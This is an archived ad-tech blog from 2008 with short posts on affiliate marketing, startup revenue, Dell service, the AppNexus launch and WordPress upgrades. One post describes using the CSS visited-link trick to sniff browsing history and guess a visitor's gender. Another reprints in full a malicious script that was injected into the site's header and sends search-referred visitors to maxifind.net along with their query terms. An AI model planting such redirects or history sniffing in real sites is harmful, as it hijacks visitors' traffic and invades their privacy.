Notice: This blog is no longer updated. You may find a broken link or two

You can follow my new adventures @mikeonwine


This post by Carsten Cumbrowski on data-flow in affiliate marketing gives some good insight into the inefficiencies of the affiliate marketing world. The diagrams (see below) look very similar to display — too many tiers of aggregators primarily dealing with massive segregation, lack of standards and inefficiencies.

Thanks to Paul Cook for the initial link to this fascinating little javascript script Social History. Thes cript analyzes the css color of various links to determine whether or not the user has been to that site. If the link has the “visited” style, then he marks the user as having been to that site. Now the Social History implementation of this is rather innocuous — it’s a clever way of only displaying only the sharing buttons of sites that the user is an active participant of. Of course there are far more interesting applications for advertising.

One of the things that I always wanted to do but never got around to was to analyze a user’s browsing history to estimate age and gender. Of course the idea is definitely not new, in fact Xerox (of all companies??) has a patent on the whole process and I’m certain plenty of networks already do something of the sort… but what the heck, let’s have some fun!

So what I did is I modified the SocialHistory JS so that it polled the browser to find out which of the Quantcast top 10k sites were visited. I then apply the ratio of male to female users for each site and with some basic math determine a guestimate of your gender. The math is really quite simple, I just take:

1 / (1 + r_1 * r_2 * … * r_n)

where p_i is the ratio of men-to-women for the specific site. For example, if you had been to two sites that had a 2-1 ratio of men to women, the probability of you being female would be:
1 / (1 + 2 * 2) = 1/5 = 20%

Ok, so Click the button to give it a shot (those of you using RSS readers probably need to click this link to open this post in a browser):

UPDATE: This takes a while on Internet Explorer — please be patient (or try FireFox)



Kind of cute right? Don’t worry — I am not storing your history in any way, this is purely for fun. I’d appreciate it if you paste the resulting probabilities in the comments together with your actual gender, I’m interested to know the accuracy of this simplistic approach. In case it isn’t obvious — please don’t do this for real.

UPDATE: I’ve disabled comments for this post, as there are simply too many!

Just placed an order on Seamlessweb and received this nice warning after placing the order:

OOPS! Seems Yahoo forgot to renew it’s security certificates. Do you have a process in place to secure to ensure your domain names and associated security certificates are always up to date? How about 3rd party monitoring of your service? Now this little warning is a nuisance compared to what happened to perl.com when a domain that was used for serving on the site was registered by a hacker.

A few weeks ago I wrote a post about the difficult times that tech startups are having in the industry today. Reading through the post, I realized there was a key point that I forgot to make. Whether or not your company is a services business, a technology play or a media company:

If you aren’t generating revenue, it’s time to re-evaluate your business.

There is so much VC money out there these days (although word on the street is it’s drying up!), that it’s easy to forgo initial revenue and start building & scaling a business in a void without having hard cash paying customers. Here’s the thing — you should be able to prove your technology quickly and with minimal investment… if you can’t, you’re overthinking either your product or overestimating the requirements of your clients. In fact, with the right contacts you can probably sell a 20-line PHP script as a “pixel server” — at least to a network or agency that desperately needs to have “behavioral technology” for the next big agency deal.

Of course the script won’t scale, and it probably won’t work as a standalone product for multiple customers which means you’ll have to rewrite it and hire some real engineering talent to turn it into a packageable product. But if you have an idea — build a POC quickly, get yourself a customer, prove there’s interest and start generating revenue! Doesn’t matter if it’s adserver, behavioral tracking, a new media network — each idea has a revenue-generating “quick win” you can close to prove the business works. Right Media was a profitable for over a year before it launched the exchange. A single good CPA deal with AOL funded most of the first year of the company!

And it’s not just about the revenue. Real customers provide real data, real feedback and real stats about scalability & performance — invaluable feedback & information that will help you build a better and ultimately more competitive final product and/or service offering.

I’m not saying you have to be profitable (although if you’re a pure media company you better have a damn good reason not to be). There is definitely an argument to be made that investing in engineering today will pay off in revenues later, but that does not give you an excuse to develop in a void hoping that your product will be a smash hit.

If you’re not making money now, chances are you won’t make any later either.

Here at AppNexus we obviously spend a significant chunk of money on servers & hardware to build out our computing cloud. Over the past year we’ve primarily dealt with Dell as they came in great on price and worked their asses off to get our data centers up and running quickly and efficiently. We were assigned a “new account team” that really went the extra-mile to get things done for us.

Three months ago, when we passed the 6-month mark Dell kindly transitioned us over to a new “maintenance team”. Quite to our surprise this team has been nothing but trouble — less touch, less care and, at times, just straight-up sloppy service. Two weeks ago we kicked-off the process for a new $1 million hardware purchase — hot off the back of two smaller $100k purchases (eg, we are a hot & active customer). Because Dell had historically quite good to us on larger orders we gave them “first dibs” — if they could turn around a quote in 48-hours we wouldn’t shop the deal across other vendors.

Well, instead of taking us up on the offer our account team sat on their hands for 48 hours and then both our server rep & primary contact went on vacation for a week with no backup or notice! It’s not been a full two weeks and — no quote from Dell, no visit to our office to discuss specs & requirements, severely delayed sloppy and incorrect quotes — really — no love. Maybe I’m wrong, but in my experience when a customer calls and says they’re ready to buy — you do whatever you can to satisfy their needs. The worst part is –this order is only the first of many planned over the coming quarters — they’re about to lose a multi-million $ account.

Thankfully we’ve built our cloud to be vendor independent and kept an open line to HP & Sun — both of which have been very proactive in the past week to address our needs. Let’s hope they don’t transition us to a “maintenance account” six months from now though!

Ok — that’s enough cloud talk for now — back to advertising!

Announcing AppNexus

June 29th, 2008

Going through my blog I realized that I never added even the slightest bit of info here about my new venture. Part of the reason was it took us forever to get a proper website up and running. Well, we’re 9 months in and finally have a public presence, so I thought it’d be a good time to blog about it.

In September of 2007 I co-founded AppNexus together with Brian O’Kelley. AppNexus is a virtualized global cloud computing platform specifically tailored for online advertising applications. The nature of advertising, having tags spread around hundreds if not thousands of sites, means that most companies in our industry deal with many millions, if not billions of requests every single day. The SLAs that our customers place on those requests can be incredibly strict — generally requiring not only high performance serving & load-balancing infrastructure but also that said infrastructure is spread out globally to reduce the latency to end-users. Even worse, traffic can fluctuate greatly from day to day depending on the media-buys and campaigns that are running at that moment.

Using our API tools & services our customers can roll-out an application across multiple datacenters in minutes versus the many months it normally takes to secure data center contracts, order & install hardware, configure the core network & servers and configure & deploy redundant network providers & global load-balancing. Of course our cloud works for more than just advertising — it’s great for analytics & gaming as well. Anything where you need a low-latency environment (both between servers & the end-users with geographic redundancy).

Interested? Check out our website, our wiki, shoot me an email (mike@appnexus.com or mike@mikeonads.com) or contact our sales team (sales@appnexus.com).

Upgrade Complete

June 19th, 2008

WordPress upgrade completed. I did some basic sanity checks and everything looks good but please let me know if you see anything wonky.

Upgrading WordPress

June 19th, 2008

Site will probably be up & down for the next 30 minutes or so as I upgrade my wordpress…

My Site was Hacked

June 19th, 2008

Apologies to any visitors that were redirected away from my site to some random search site. I’m not quite sure how, but somehow the following was injected into my wordpress ‘header.php’ file:

<script>
	var r=document.referrer,t=\"\",q;
	if(r.indexOf(\"google.\")!=-1)t=\"q\";
	if(r.indexOf(\"msn.\")!=-1)t=\"q\";
	if(r.indexOf(\"yahoo.\")!=-1)t=\"p\";
	if(r.indexOf(\"altavista.\")!=-1)t=\"q\";
	if(r.indexOf(\"aol.\")!=-1)t=\"query\";
	if(r.indexOf(\"ask.\")!=-1)t=\"q\";
	if(t.length&&((q=r.indexOf(\"?\"+t+\"=\"))!=-1||(q=r.indexOf(\"&\"+t+\"=\"))!=-1))
		window.location=\"http://maxifind.net/index.php?pf_id=361&q=\"
                                     +r.substring(q+2+t.length).split(\"&\")[0];
</script>

The way the above code works is that if a user is referred to the site via a search engine the user is immediately redirected to “maxifind.net”, which then displays ads related to the keywords from the search engine referer string. For any adnetworks out there — as this code as mostly definitely NOT inserted by me!!! Looking from traffic logs it appears as if “exit rates” spikes dramatically late last week so thankfully it’s only been up for a ccouple days.

Any suggestions as to how this happened would be appreciated. In the meantime I’ve changed all passwds and am in the process of upgrading my WordPress (which I haven’t done in a year… oops). It definitely goes to show, unless you’re going to put significant effort in maintaining your own software it’s much better to leave the hosting to someone else!

A Nice Online-Ad 101 Post

June 4th, 2008

I stumbled across an interesting post written by Ian Thomas from Microsoft — Online Advertising Business 101, Part I – The Online Advertising Value Chain. It’s a great basic read for anyone who wants to start with the basics of who does what in our industry.

I will point out that Ian is clearly on the tech side of the fence though — he draws the industry as a flow of impressions from publishers to advertisers, whereas most media focused folks will think of the reverse — money flowing from the advertiser to the publisher. If you have no clue what I”m talking about, check out my old post: Business or Tech.